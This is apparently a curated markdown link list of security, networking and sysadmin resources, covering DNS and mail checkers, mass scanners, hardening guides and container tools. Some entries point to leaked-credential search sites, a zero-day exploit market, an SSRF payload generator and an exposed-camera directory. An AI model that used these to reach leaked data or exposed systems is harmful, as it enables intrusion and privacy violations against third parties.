--   [✅] [**DNS Table online**](https://dnstable.com/) - search for DNS records by domain, IP, CIDR, ISP.
-
--   [✅] [**intoDNS**](https://intodns.com/) - DNS and mail server health checker.
-
--   [✅] [**DNS Bajaj**](http://www.zonecut.net/dns/) - check the delegation of your domain.
-
--   [✅] [**BuddyDNS Delegation LAB**](https://www.buddyns.com/delegation-lab/) - check, trace and visualize delegation of your domain.
-
--   [✅] [**dnssec-debugger**](https://dnssec-debugger.verisignlabs.com/) - DS or DNSKEY records validator.
-
--   [✅] [**PTRarchive.com**](http://ptrarchive.com/) - this site is responsible for the safekeeping of historical reverse DNS records.
-
--   [✅] [**xip.io**](http://xip.io/) - wildcard DNS for everyone.
-
--   [✅] [**nip.io**](https://nip.io/) - dead simple wildcard DNS for any IP Address.
-
--   [✅] [**dnslookup (ceipam)**](https://ceipam.eu/en/dnslookup.php) - one of the best DNS propagation checker (and not only).
-
--   [✅] [**What's My DNS**](https://whatsmydns.com/) - DNS propagation checking tool.
-
--   [✅] [**DNSGrep**](https://blog.erbbysam.com/index.php/2019/02/09/dnsgrep/) - quickly searching large DNS datasets.
-
-##### ▪️ Mail
-
--   [✅] [**smtp-tls-checker**](https://luxsci.com/smtp-tls-checker) - check an email domain for SMTP TLS support.
-
--   [✅] [**MX Toolbox**](https://mxtoolbox.com/SuperTool.aspx) - all of your MX record, DNS, blacklist and SMTP diagnostics in one integrated tool.
-
--   [✅] [**Secure Email**](https://www.checktls.com/index.html) - complete email test tools for email technicians.
-
--   [✅] [**blacklistalert**](http://www.blacklistalert.org/) - checks to see if your domain is on a Real Time Spam Blacklist.
-
--   [✅] [**MultiRBL**](http://multirbl.valli.org/) - complete IP check for sending Mailservers.
-
--   [✅] [**DKIM SPF & Spam Assassin Validator**](https://dkimvalidator.com/) - checks mail authentication and scores messages with Spam Assassin.
-
-##### ▪️ Encoders/Decoders and Regex testing
-
--   [✅] [**URL Encode/Decode**](https://www.url-encode-decode.com/) - tool from above to either encode or decode a string of text.
-
--   [✅] [**Uncoder**](https://uncoder.io/) - the online translator for search queries on log data.
-
--   [✅] [**Regex101**](https://regex101.com/) - online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript.
-
--   [✅] [**RegExr**](https://regexr.com/) - online tool to learn, build, & test Regular Expressions (RegEx / RegExp).
-
--   [✅] [**RegEx Testing**](https://www.regextester.com/) - online regex testing tool.
-
--   [✅] [**RegEx Pal**](https://www.regexpal.com/) - online regex testing tool + other tools.
-
--   [✅] [**The Cyber Swiss Army Knife**](https://gchq.github.io/CyberChef/) - a web app for encryption, encoding, compression and data analysis.
-
-##### ▪️ Net-tools
-
--   [✅] [**Netcraft**](https://toolbar.netcraft.com/site_report) - detailed report about the site, helping you to make informed choices about their integrity.**\***
-
--   [✅] [**RIPE NCC Atlas**](https://atlas.ripe.net/) - a global, open, distributed Internet measurement platform.
-
--   [✅] [**Robtex**](https://www.robtex.com/) - uses various sources to gather public information about IP numbers, domain names, host names, etc.
-
--   [✅] [**Security Trails**](https://securitytrails.com/) - APIs for Security Companies, Researchers and Teams.
-
--   [✅] [**Online Curl**](https://tools.keycdn.com/curl) - curl test, analyze HTTP Response Headers.
-
--   [✅] [**Online Tools for Developers**](https://extendsclass.com/) - HTTP API tools, testers, encoders, converters, formatters, and other tools.
-
--   [✅] [**Ping.eu**](https://ping.eu/) - online Ping, Traceroute, DNS lookup, WHOIS and others.
-
--   [✅] [**Network-Tools**](https://network-tools.com/) - network tools for webmasters, IT technicians & geeks.
-
--   [✅] [**BGPview**](https://bgpview.io/) - search for any ASN, IP, Prefix or Resource name.
-
--   [✅] [**Is BGP safe yet?**](https://isbgpsafeyet.com/) - check BGP (RPKI) security of ISPs and other major Internet players.
-
--   [✅] [**Riseup**](https://riseup.net/) - provides online communication tools for people and groups working on liberatory social change.
-
--   [✅] [**VirusTotal**](https://www.virustotal.com/gui/home/upload) - analyze suspicious files and URLs to detect types of malware.
-
-##### ▪️ Privacy
-
--   [✅] [**privacytools.io**](https://www.privacytools.io/) - provides knowledge and tools to protect your privacy against global mass surveillance.
-
--   [✅] [**DNS Privacy Test Servers**](https://dnsprivacy.org/wiki/display/DP/DNS+Privacy+Test+Servers) - DNS privacy recursive servers list (with a 'no logging' policy).
-
-##### ▪️ Code parsers/playgrounds
-
--   [✅] [**ShellCheck**](https://www.shellcheck.net/) - finds bugs in your shell scripts.
-
--   [✅] [**explainshell**](https://explainshell.com/) - get interactive help texts for shell commands.
-
--   [✅] [**jsbin**](https://jsbin.com/?html,output) - live pastebin for HTML, CSS & JavaScript, and more.
-
--   [✅] [**CodeSandbox**](https://codesandbox.io/) - online code editor for web application development.
-
--   [✅] [**PHP Sandbox**](http://sandbox.onlinephpfunctions.com/) - test your PHP code with this code tester.
-
--   [✅] [**Repl.it**](https://www.repl.it/) - an instant IDE to learn, build, collaborate, and host all in one place.
-
--   [✅] [**vclFiddle**](http://www.vclfiddle.net/) - is an online tool for experimenting with the Varnish Cache VCL.
-
-##### ▪️ Performance
-
--   [✅] [**GTmetrix**](https://gtmetrix.com/) - analyze your site's speed and make it faster.
-
--   [✅] [**Sucuri loadtimetester**](https://performance.sucuri.net/) - test here the performance of any of your sites from across the globe.
-
--   [✅] [**Pingdom Tools**](https://tools.pingdom.com/) - analyze your site's speed around the world.
-
--   [✅] [**PingMe.io**](https://pingme.io/) - run website latency tests across multiple geographic regions.
-
--   [✅] [**PageSpeed Insights**](https://developers.google.com/speed/pagespeed/insights/) - analyze your site's speed and make it faster.
-
--   [✅] [**web.dev**](https://web.dev/) - helps developers like you learn and apply the web's modern capabilities to your own sites and apps.
-
--   [✅] [**Lighthouse**](https://github.com/GoogleChrome/lighthouse) - automated auditing, performance metrics, and best practices for the web.
-
-##### ▪️ Mass scanners (search engines)
-
--   [✅] [**Censys**](https://censys.io/) - platform that helps information security practitioners discover, monitor, and analyze devices.
-
--   [✅] [**Shodan**](https://www.shodan.io/) - the world's first search engine for Internet-connected devices.
-
--   [✅] [**Shodan 2000**](https://2000.shodan.io/#/) - this tool looks for randomly generated data from Shodan.
-
--   [✅] [**GreyNoise**](https://viz.greynoise.io/table) - mass scanner such as Shodan and Censys.
-
--   [✅] [**ZoomEye**](https://www.zoomeye.org/) - search engine for cyberspace that lets the user find specific network components.
-
--   [✅] [**netograph**](https://netograph.io/) - tools to monitor and understand deep structure of the web.
-
--   [✅] [**FOFA**](https://fofa.so/) - is a cyberspace search engine.
-
--   [✅] [**onyphe**](https://www.onyphe.io/) - is a search engine for open-source and cyber threat intelligence data collected.
-
--   [✅] [**IntelligenceX**](https://intelx.io/) - is a search engine and data archive.
-
--   [✅] [**binaryedge**](https://app.binaryedge.io/) - it scan the entire internet space and create real-time threat intelligence streams and reports.
-
--   [✅] [**Spyse**](https://spyse.com/) - Internet assets registry: networks, threats, web objects, etc.
-
--   [✅] [**wigle**](https://wigle.net/) - is a submission-based catalog of wireless networks. All the networks. Found by Everyone.
-
--   [✅] [**PublicWWW**](https://publicwww.com/) - find any alphanumeric snippet, signature or keyword in the web pages HTML, JS and CSS code.
-
--   [✅] [**IntelTechniques**](https://inteltechniques.com/index.html) - this repository contains hundreds of online search utilities.
-
--   [✅] [**hunter**](https://hunter.io/) - lets you find email addresses in seconds and connect with the people that matter for your business.
-
--   [✅] [**GhostProject?**](https://ghostproject.fr/) - search by full email address or username.
-
--   [✅] [**databreaches**](https://www.databreaches.live/) - was my email affected by data breach?
-
--   [✅] [**We Leak Info**](https://weleakinfo.com/) - world's fastest and largest data breach search engine.
-
--   [✅] [**Pulsedive**](https://pulsedive.com/) - scans of malicious URLs, IPs, and domains, including port scans and web requests.
-
--   [✅] [**Buckets by Grayhatwarfar**](https://buckets.grayhatwarfare.com/) - database with public search for Open Amazon S3 Buckets and their contents.
-
--   [✅] [**Vigilante.pw**](https://vigilante.pw/) - the breached database directory.
-
--   [✅] [**builtwith**](https://builtwith.com/) - find out what websites are built with.
-
--   [✅] [**NerdyData**](https://nerdydata.com/) - search the web's source code for technologies, across millions of sites.
-
--   [✅] [**zorexeye**](http://zorexeye.com/) - search for sites, images, apps, softwares & more.
-
--   [✅] [**Mamont's open FTP Index**](https://www.mmnt.net/) - if a target has an open FTP site with accessible content it will be listed here.
-
--   [✅] [**OSINT Framework**](https://osintframework.com/) - focused on gathering information from free tools or resources.
-
--   [✅] [**maltiverse**](https://www.maltiverse.com/search) - is a service oriented to cybersecurity analysts for the advanced analysis of indicators of compromise.
-
--   [✅] [**Leaked Source**](https://leakedsource.ru/main/) - is a collaboration of data found online in the form of a lookup.
-
--   [✅] [**We Leak Info**](https://search.weleakinfo.com/) - to help everyday individuals secure their online life, avoiding getting hacked.
-
--   [✅] [**pipl**](https://pipl.com/) - is the place to find the person behind the email address, social username or phone number.
-
--   [✅] [**abuse.ch**](https://abuse.ch/) - is operated by a random swiss guy fighting malware for non-profit.
-
--   [✅] [**malc0de**](http://malc0de.com/database/) - malware search engine.
-
--   [✅] [**Cybercrime Tracker**](https://cybercrime-tracker.net/index.php) - monitors and tracks various malware families that are used to perpetrate cyber crimes.
-
--   [✅] [**shhgit**](https://github.com/eth0izzle/shhgit/) - find GitHub secrets in real time.
-
--   [✅] [**searchcode**](https://searchcode.com/) - helping you find real world examples of functions, API's and libraries.
-
--   [✅] [**Insecam**](http://www.insecam.org/) - the world biggest directory of online surveillance security cameras.
-
--   [✅] [**index-of**](http://index-of.es/) - contains great stuff like: security, hacking, reverse engineering, cryptography, programming etc.
-
--   [✅] [**Rapid7 Labs Open Data**](https://opendata.rapid7.com/) - is a great resources of datasets from Project Sonar.
-
--   [✅] [**Common Response Headers**](https://webtechsurvey.com/common-response-headers) - the largest database of HTTP response headers.
-
-##### ▪️ Generators
-
--   [✅] [**thispersondoesnotexist**](https://thispersondoesnotexist.com/) - generate fake faces in one click - endless possibilities.
-
--   [✅] [**AI Generated Photos**](https://generated.photos/) - 100.000 AI generated faces.
-
--   [✅] [**fakenamegenerator**](https://www.fakenamegenerator.com/) - your randomly generated identity.
-
--   [✅] [**Intigriti Redirector**](https://tools.intigriti.io/redirector/) - open redirect/SSRF payload generator.
-
-##### ▪️ Passwords
-
--   [✅] [**have i been pwned?**](https://haveibeenpwned.com/) - check if you have an account that has been compromised in a data breach.
-
--   [✅] [**dehashed**](https://www.dehashed.com/) - is a hacked database search engine.
-
--   [✅] [**Leaked Source**](https://leakedsource.ru/) - is a collaboration of data found online in the form of a lookup.
-
-##### ▪️ CVE/Exploits databases
-
--   [✅] [**CVE Mitre**](https://cve.mitre.org/) - list of publicly known cybersecurity vulnerabilities.
-
--   [✅] [**CVE Details**](https://www.cvedetails.com/) - CVE security vulnerability advanced database.
-
--   [✅] [**Exploit DB**](https://www.exploit-db.com/) - CVE compliant archive of public exploits and corresponding vulnerable software.
-
--   [✅] [**0day.today**](https://0day.today/) - exploits market provides you the possibility to buy/sell zero-day exploits.
-
--   [✅] [**sploitus**](https://sploitus.com/) - the exploit and tools database.
-
--   [✅] [**cxsecurity**](https://cxsecurity.com/exploit/) - free vulnerability database.
-
--   [✅] [**Vulncode-DB**](https://www.vulncode-db.com/) - is a database for vulnerabilities and their corresponding source code if available.
-
--   [✅] [**cveapi**](https://cveapi.com/) - free API for CVE data.
-
-##### ▪️ Mobile apps scanners
-
--   [✅] [**ImmuniWeb® Mobile App Scanner**](https://www.immuniweb.com/mobile/) - test security and privacy of mobile apps (iOS & Android).
-
--   [✅] [**Quixxi**](https://vulnerabilitytest.quixxi.com/) - free Mobile App Vulnerability Scanner for Android & iOS.
-
--   [✅] [**Ostorlab**](https://www.ostorlab.co/scan/mobile/) - analyzes mobile application to identify vulnerabilities and potential weaknesses.
-
-##### ▪️ Private Search Engines
-
--   [✅] [**Startpage**](https://www.startpage.com/) - the world's most private search engine.
-
--   [✅] [**searX**](https://searx.me/) - a privacy-respecting, hackable metasearch engine.
-
--   [✅] [**darksearch**](https://darksearch.io/) - the 1st real Dark Web search engine.
-
--   [✅] [**Qwant**](https://www.qwant.com/) - the search engine that respects your privacy.
-
--   [✅] [**DuckDuckGo**](https://duckduckgo.com/) - the search engine that doesn't track you.
-
--   [✅] [**Swisscows**](https://swisscows.com/) - privacy safe web search
-
--   [✅] [**Disconnect**](https://search.disconnect.me/) - the search engine that anonymizes your searches.
-
--   [✅] [**MetaGer**](https://metager.org/) - the search engine that uses anonymous proxy and hidden Tor branches.
-
-##### ▪️ Secure Webmail Providers
-
--   [✅] [**CounterMail**](https://countermail.com/) - online email service, designed to provide maximum security and privacy.
-
--   [✅] [**Mail2Tor**](http://mail2tor.com/) - is a Tor Hidden Service that allows anyone to send and receive emails anonymously.
-
--   [✅] [**Tutanota**](https://tutanota.com/) - is the world's most secure email service and amazingly easy to use.
-
--   [✅] [**Protonmail**](https://protonmail.com/) - is the world's largest secure email service, developed by CERN and MIT scientists.
-
--   [✅] [**Startmail**](https://www.startmail.com/en/) - private & encrypted email made easy.
-
-##### ▪️ Crypto
-
--   [✅] [**Keybase**](https://keybase.io/) - it's open source and powered by public-key cryptography.
-
-##### ▪️ PGP Keyservers
-
--   [✅] [**SKS OpenPGP Key server**](https://keyserver.ubuntu.com/) - services for the SKS keyservers used by OpenPGP.
-
-#### Systems/Services [\[TOC\]](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#anger-table-of-contents)
-
-##### ▪️ Operating Systems
-
--   [✅] [**Slackware**](http://www.slackware.com/) - the most "Unix-like" Linux distribution.
-
--   [✅] [**OpenBSD**](https://www.openbsd.org/) - multi-platform 4.4BSD-based UNIX-like operating system.
-
--   [✅] [**HardenedBSD**](https://hardenedbsd.org/) - HardenedBSD aims to implement innovative exploit mitigation and security solutions.
-
--   [✅] [**Kali Linux**](https://www.kali.org/) - Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments.
-
--   [✅] [**Parrot Security OS**](https://www.parrotsec.org/) - cyber security GNU/Linux environment.
-
--   [✅] [**Backbox Linux**](https://www.backbox.org/) - penetration test and security assessment oriented Ubuntu-based Linux distribution.
-
--   [✅] [**BlackArch**](https://blackarch.org/) - is an Arch Linux-based penetration testing distribution for penetration testers.
-
--   [✅] [**Pentoo**](https://www.pentoo.ch/) - is a security-focused livecd based on Gentoo.
-
--   [✅] [**Security Onion**](https://securityonion.net/) - Linux distro for intrusion detection, enterprise security monitoring, and log management.
-
--   [✅] [**Tails**](https://tails.boum.org/) - is a live system that aims to preserve your privacy and anonymity.
-
--   [✅] [**vedetta**](https://github.com/vedetta-com/vedetta) - OpenBSD router boilerplate.
-
--   [✅] [**Qubes OS**](https://www.qubes-os.org/) - is a security-oriented OS that uses Xen-based virtualization.
-
-##### ▪️ HTTP(s) Services
-
--   [✅] [**Varnish Cache**](https://varnish-cache.org/) - HTTP accelerator designed for content-heavy dynamic web sites.
-
--   [✅] [**Nginx**](https://nginx.org/) - open source web and reverse proxy server that is similar to Apache, but very light weight.
-
--   [✅] [**OpenResty**](https://openresty.org/en/) - is a dynamic web platform based on NGINX and LuaJIT.
-
--   [✅] [**Tengine**](https://github.com/alibaba/tengine) - a distribution of Nginx with some advanced features.
-
--   [✅] [**Caddy Server**](https://caddyserver.com/) - is an open source, HTTP/2-enabled web server with HTTPS by default.
-
--   [✅] [**HAProxy**](https://www.haproxy.org/) - the reliable, high performance TCP/HTTP load balancer.
-
-##### ▪️ DNS Services
-
--   [✅] [**Unbound**](https://nlnetlabs.nl/projects/unbound/about/) - validating, recursive, and caching DNS resolver (with TLS).
-
--   [✅] [**Knot Resolver**](https://www.knot-resolver.cz/) - caching full resolver implementation, including both a resolver library and a daemon.
-
--   [✅] [**PowerDNS**](https://www.powerdns.com/) - is an open source authoritative DNS server, written in C++ and licensed under the GPL.
-
-##### ▪️ Other Services
-
--   [✅] [**3proxy**](https://github.com/z3APA3A/3proxy) - tiny free proxy server.
-
-##### ▪️ Security/hardening
-
--   [✅] [**Emerald Onion**](https://twitter.com/EmeraldOnion) - is a 501(c)(3) nonprofit organization and transit internet service provider (ISP).
-
--   [✅] [**pi-hole**](https://github.com/pi-hole/pi-hole) - the Pi-hole® is a DNS sinkhole that protects your devices from unwanted content.
-
--   [✅] [**maltrail**](https://github.com/stamparm/maltrail) - malicious traffic detection system.
-
--   [✅] [**security_monkey**](https://github.com/Netflix/security_monkey) - monitors AWS, GCP, OpenStack, and GitHub orgs for assets and their changes over time.
-
--   [✅] [**firecracker**](https://github.com/firecracker-microvm/firecracker) - secure and fast microVMs for serverless computing.
-
--   [✅] [**streisand**](https://github.com/StreisandEffect/streisand) - sets up a new server running your choice of WireGuard, OpenSSH, OpenVPN, and more.
-
-#### Networks [\[TOC\]](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#anger-table-of-contents)
-
-##### ▪️ Tools
-
--   [✅] [**CapAnalysis**](https://www.capanalysis.net/ca/) - web visual tool to analyze large amounts of captured network traffic (PCAP analyzer).
-
--   [✅] [**netbox**](https://github.com/digitalocean/netbox) - IP address management (IPAM) and data center infrastructure management (DCIM) tool.
-
-##### ▪️ Labs
-
--   [✅] [**NRE Labs**](https://labs.networkreliability.engineering/) - learn automation by doing it. Right now, right here, in your browser.
-
-##### ▪️ Other
-
--   [✅] [**LBNL's Network Research Group**](https://ee.lbl.gov/) - home page of the Network Research Group (NRG).
-
-#### Containers/Orchestration [\[TOC\]](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#anger-table-of-contents)
-
-##### ▪️ CLI Tools
-
--   [✅] [**gvisor**](https://github.com/google/gvisor) - container runtime sandbox.
-
--   [✅] [**ctop**](https://github.com/bcicen/ctop) - top-like interface for container metrics.
-
-##### ▪️ Web Tools
-
--   [✅] [**Moby**](https://github.com/moby/moby) - a collaborative project for the container ecosystem to assemble container-based system.
-
--   [✅] [**Traefik**](https://traefik.io/) - open source reverse proxy/load balancer provides easier integration with Docker and Let's encrypt.
-
--   [✅] [**kong**](https://github.com/Kong/kong) - The Cloud-Native API Gateway.
-
--   [✅] [**rancher**](https://github.com/rancher/rancher) - complete container management platform.
-
--   [✅] [**portainer**](https://github.com/portainer/portainer) - making Docker management easy.
-
--   [✅] [**nginx-proxy**](https://github.com/jwilder/nginx-proxy) - automated nginx proxy for Docker containers using docker-gen.
-
-##### ▪️ Security
-
--   [✅] [**docker-bench-security**](https://github.com/docker/docker-bench-security) - checks for dozens of common best-practices around deploying Docker.
-
--   [✅] [**trivy**](https://github.com/aquasecurity/trivy) - vulnerability scanner for containers, suitable for CI.
-
--   [✅] [**Harbor**](https://goharbor.io/) - cloud native registry project that stores, signs, and scans content.
-
-##### ▪️ Manuals/Tutorials/Best Practices
-
--   [✅] [**docker-cheat-sheet**](https://github.com/wsargent/docker-cheat-sheet) - a quick reference cheat sheet on Docker.
-
--   [✅] [**awesome-docker**](https://github.com/veggiemonk/awesome-docker) - a curated list of Docker resources and projects.
-
--   [✅] [**docker_practice**](https://github.com/yeasy/docker_practice) - learn and understand Docker technologies, with real DevOps practice!
-
--   [✅] [**labs **](https://github.com/docker/labs)- is a collection of tutorials for learning how to use Docker with various tools.
-
--   [✅] [**dockerfiles**](https://github.com/jessfraz/dockerfiles) - various Dockerfiles I use on the desktop and on servers.
-
--   [✅] [**kubernetes-the-hard-way**](https://github.com/kelseyhightower/kubernetes-the-hard-way) - bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.
-
--   [✅] [**kubernetes-the-easy-way**](https://github.com/jamesward/kubernetes-the-easy-way) - bootstrap Kubernetes the easy way on Google Cloud Platform. No scripts.
-
--   [✅] [**cheatsheet-kubernetes-A4**](https://github.com/dennyzhang/cheatsheet-kubernetes-A4) - Kubernetes CheatSheets in A4.
-
--   [✅] [**k8s-security**](https://github.com/kabachook/k8s-security) - kubernetes security notes and best practices.
-
--   [✅] [**kubernetes-production-best-practices**](https://learnk8s.io/production-best-practices/) - checklists with best-practices for production-ready Kubernetes.
-
--   [✅] [**kubernetes-production-best-practices**](https://github.com/freach/kubernetes-security-best-practice) - kubernetes security - best practice guide.
-
--   [✅] [**kubernetes-failure-stories**](https://github.com/hjacobs/kubernetes-failure-stories) - is a compilation of public failure/horror stories related to Kubernetes.
-
-#### Manuals/Howtos/Tutorials [\[TOC\]](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#anger-table-of-contents)
-
-##### ▪️ Shell/Command line
-
--   [✅] [**pure-bash-bible**](https://github.com/dylanaraps/pure-bash-bible) - is a collection of pure bash alternatives to external processes.
-
--   [✅] [**pure-sh-bible**](https://github.com/dylanaraps/pure-sh-bible) - is a collection of pure POSIX sh alternatives to external processes.
-
--   [✅] [**bash-guide**](https://github.com/Idnan/bash-guide) - is a guide to learn bash.
-
--   [✅] [**bash-handbook**](https://github.com/denysdovhan/bash-handbook) - for those who wanna learn Bash.
-
--   [✅] [**The Bash Hackers Wiki**](https://wiki.bash-hackers.org/start) - hold documentation of any kind about GNU Bash.
-
--   [✅] [**Shell & Utilities**](http://pubs.opengroup.org/onlinepubs/9699919799/utilities/contents.html) - describes the commands offered to application programs by POSIX-conformant systems.
-
--   [✅] [**the-art-of-command-line**](https://github.com/jlevy/the-art-of-command-line) - master the command line, in one page.
-
--   [✅] [**Shell Style Guide**](https://google.github.io/styleguide/shellguide.html) - a shell style guide for Google-originated open-source projects.
-
-##### ▪️ Text Editors
-
--   [✅] [**Vim Cheat Sheet**](https://vim.rtorr.com/) - great multi language vim guide.
-
-##### ▪️ Python
-
--   [✅] [**Awesome Python**](https://awesome-python.com/) - a curated list of awesome Python frameworks, libraries, software and resources.
-
--   [✅] [**python-cheatsheet**](https://github.com/gto76/python-cheatsheet) - comprehensive Python cheatsheet.
-
--   [✅] [**pythoncheatsheet.org**](https://www.pythoncheatsheet.org/) - basic reference for beginner and advanced developers.
-
-##### ▪️ Sed & Awk & Other
-
--   [✅] [**F'Awk Yeah!**](https://posts.specterops.io/fawk-yeah-advanced-sed-and-awk-usage-parsing-for-pentesters-3-e5727e11a8ad?gi=c8f9506b26b6) - advanced sed and awk usage (Parsing for Pentesters 3).
-
-##### ▪️ \*nix & Network
-
--   [✅] [**nixCraft**](https://www.cyberciti.biz/) - linux and unix tutorials for new and seasoned sysadmin.
-
--   [✅] [**TecMint**](https://www.tecmint.com/) - the ideal Linux blog for Sysadmins & Geeks.
-
--   [✅] [**Omnisecu**](http://www.omnisecu.com/index.php) - free Networking, System Administration and Security tutorials.
-
--   [✅] [**linux-cheat**](https://github.com/cirosantilli/linux-cheat) - Linux tutorials and cheatsheets. Minimal examples. Mostly user-land CLI utilities.
-
--   [✅] [**linuxupskillchallenge**](https://github.com/snori74/linuxupskillchallenge) - learn the skills required to sysadmin.
-
--   [✅] [**Unix Toolbox**](http://cb.vu/unixtoolbox.xhtml) - Unix/Linux/BSD commands and tasks which are useful for IT work or for advanced users.
-
--   [✅] [**Linux Kernel Teaching**](https://linux-kernel-labs.github.io/refs/heads/master/index.html) - is a collection of lectures and labs Linux kernel topics.
-
--   [✅] [**htop explained**](https://peteris.rocks/blog/htop/) - explanation of everything you can see in htop/top on Linux.
-
--   [✅] [**Linux Guide and Hints**](https://linuxguideandhints.com/) - tutorials on system administration in Fedora and CentOS.
-
--   [✅] [**strace-little-book**](https://github.com/NanXiao/strace-little-book) - a little book which introduces strace.
-
--   [✅] [**linux-tracing-workshop**](https://github.com/goldshtn/linux-tracing-workshop) - examples and hands-on labs for Linux tracing tools workshops.
-
--   [✅] [**http2-explained**](https://github.com/bagder/http2-explained) - a detailed document explaining and documenting HTTP/2.
-
--   [✅] [**http3-explained**](https://github.com/bagder/http3-explained) - a document describing the HTTP/3 and QUIC protocols.
-
--   [✅] [**HTTP/2 in Action**](https://www.manning.com/books/http2-in-action) - an excellent introduction to the new HTTP/2 standard.
-
--   [✅] [**Let's code a TCP/IP stack**](https://www.saminiir.com/lets-code-tcp-ip-stack-1-ethernet-arp/) - great stuff to learn network and system programming at a deeper level.
-
--   [✅] [**Nginx Admin's Handbook**](https://github.com/trimstray/nginx-admins-handbook) - how to improve NGINX performance, security and other important things.
-
--   [✅] [**nginxconfig.io**](https://github.com/digitalocean/nginxconfig.io) - NGINX config generator on steroids.
-
--   [✅] [**openssh guideline**](https://infosec.mozilla.org/guidelines/openssh) - is to help operational teams with the configuration of OpenSSH server and client.
-
--   [✅] [**SSH Handshake Explained**](https://gravitational.com/blog/ssh-handshake-explained/) - is a relatively brief description of the SSH handshake.
-
--   [✅] [**ISC's Knowledgebase**](https://kb.isc.org/docs/using-this-knowledgebase) - you'll find some general information about BIND 9, ISC DHCP, and Kea DHCP.
-
--   [✅] [**PacketLife.net**](https://packetlife.net/) - a place to record notes while studying for Cisco's CCNP certification.
-
-##### ▪️ Microsoft
-
--   [✅] [**AD-Attack-Defense**](https://github.com/infosecn1nja/AD-Attack-Defense) - attack and defend active directory using modern post exploitation activity.
-
-##### ▪️ Large-scale systems
-
--   [✅] [**The System Design Primer**](https://github.com/donnemartin/system-design-primer) - learn how to design large-scale systems.
-
--   [✅] [**Awesome Scalability**](https://github.com/binhnguyennus/awesome-scalability) - best practices in building High Scalability, High Availability, High Stability, and more.
-
--   [✅] [**Web Architecture 101**](https://engineering.videoblocks.com/web-architecture-101-a3224e126947?gi=a896808d22a) - the basic architecture concepts.
-
-##### ▪️ System hardening
-
--   [✅] [**CIS Benchmarks**](https://www.cisecurity.org/cis-benchmarks/) - secure configuration settings for over 100 technologies, available as a free PDF.
-
--   [✅] [**Security Harden CentOS 7**](https://highon.coffee/blog/security-harden-centos-7/) - this walks you through the steps required to security harden CentOS.
-
--   [✅] [**CentOS 7 Server Hardening Guide**](https://www.lisenet.com/2017/centos-7-server-hardening-guide/) - great guide for hardening CentOS; familiar with OpenSCAP.
-
--   [✅] [**awesome-security-hardening**](https://github.com/decalage2/awesome-security-hardening) - is a collection of security hardening guides, tools and other resources.
-
--   [✅] [**The Practical Linux Hardening Guide**](https://github.com/trimstray/the-practical-linux-hardening-guide) - provides a high-level overview of hardening GNU/Linux systems.
-
--   [✅] [**Linux Hardening Guide**](https://madaidans-insecurities.github.io/guides/linux-hardening.html) - how to harden Linux as much as possible for security and privacy.
-
-##### ▪️ Security & Privacy
-
--   [✅] [**Hacking Articles**](https://www.hackingarticles.in/) - LRaj Chandel's Security & Hacking Blog.
-
--   [✅] [**AWS security tools**](https://github.com/toniblyx/my-arsenal-of-aws-security-tools) - make your AWS cloud environment more secure.
-
--   [✅] [**Rawsec's CyberSecurity Inventory**](https://inventory.rawsec.ml/index.html) - an inventory of tools and resources about CyberSecurity.
-
--   [✅] [**The Illustrated TLS Connection**](https://tls.ulfheim.net/) - every byte of a TLS connection explained and reproduced.
-
--   [✅] [**SSL Research**](https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices) - SSL and TLS Deployment Best Practices by SSL Labs.
-
--   [✅] [**SELinux Game**](http://selinuxgame.org/index.html) - learn SELinux by doing. Solve Puzzles, show skillz.
-
--   [✅] [**Certificates and PKI**](https://smallstep.com/blog/everything-pki.html) - everything you should know about certificates and PKI but are too afraid to ask.
-
--   [✅] [**The Art of Subdomain Enumeration**](https://appsecco.com/books/subdomain-enumeration/) - a reference for subdomain enumeration techniques.
-
--   [✅] [**Quitting Google**](https://lifehacker.com/the-comprehensive-guide-to-quitting-google-1830001964) - the comprehensive guide to quitting Google.
-
-##### ▪️ Web Apps
-
--   [✅] [**OWASP**](https://www.owasp.org/index.php/Main_Page) - worldwide not-for-profit charitable organization focused on improving the security of software.
-
--   [✅] [**OWASP ASVS 3.0.1**](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) - OWASP Application Security Verification Standard Project.
-
--   [✅] [**OWASP ASVS 3.0.1 Web App**](https://github.com/Santandersecurityresearch/asvs) - simple web app that helps developers understand the ASVS requirements.
-
--   [✅] [**OWASP ASVS 4.0**](https://github.com/OWASP/ASVS/tree/master/4.0) - is a list of application security requirements or tests.
-
--   [✅] [**OWASP Testing Guide v4**](https://www.owasp.org/index.php/OWASP_Testing_Project) - includes a "best practice" penetration testing framework.
-
--   [✅] [**OWASP Dev Guide**](https://github.com/OWASP/DevGuide) - this is the development version of the OWASP Developer Guide.
-
--   [✅] [**OWASP WSTG**](https://github.com/OWASP/wstg) - is a comprehensive open source guide to testing the security of web apps.
-
--   [✅] [**OWASP API Security Project**](https://www.owasp.org/index.php/OWASP_API_Security_Project) - focuses specifically on the top ten vulnerabilities in API security.
-
--   [✅] [**Mozilla Web Security**](https://infosec.mozilla.org/guidelines/web_security.html) - help operational teams with creating secure web applications.
-
--   [✅] [**security-bulletins**](https://github.com/Netflix/security-bulletins) - security bulletins that relate to Netflix Open Source.
-
--   [✅] [**API-Security-Checklist**](https://github.com/shieldfy/API-Security-Checklist) - security countermeasures when designing, testing, and releasing your API.
-
--   [✅] [**Enable CORS**](https://enable-cors.org/index.html) - enable cross-origin resource sharing.
-
--   [✅] [**Application Security Wiki**](https://appsecwiki.com/#/) - is an initiative to provide all application security related resources at one place.
-
--   [✅] [**Weird Proxies**](https://github.com/GrrrDog/weird_proxies/wiki) - reverse proxy related attacks; it is a result of analysis of various proxies.
-
--   [✅] [**Webshells**](https://dfir.it/blog/2015/08/12/webshell-every-time-the-same-purpose/) - great series about malicious payloads.
-
--   [✅] [**Practical Web Cache Poisoning**](https://portswigger.net/blog/practical-web-cache-poisoning) - show you how to compromise websites by using esoteric web features.
-
--   [✅] [**Hidden directories and files**](https://github.com/bl4de/research/tree/master/hidden_directories_leaks) - as a source of sensitive information about web application.
-
--   [✅] [**Explosive blog**](https://bo0om.ru/en/) - great blog about cybersec and pentests.
-
--   [✅] [**Security Cookies**](https://www.netsparker.com/security-cookies-whitepaper/) - this paper will take a close look at cookie security.
-
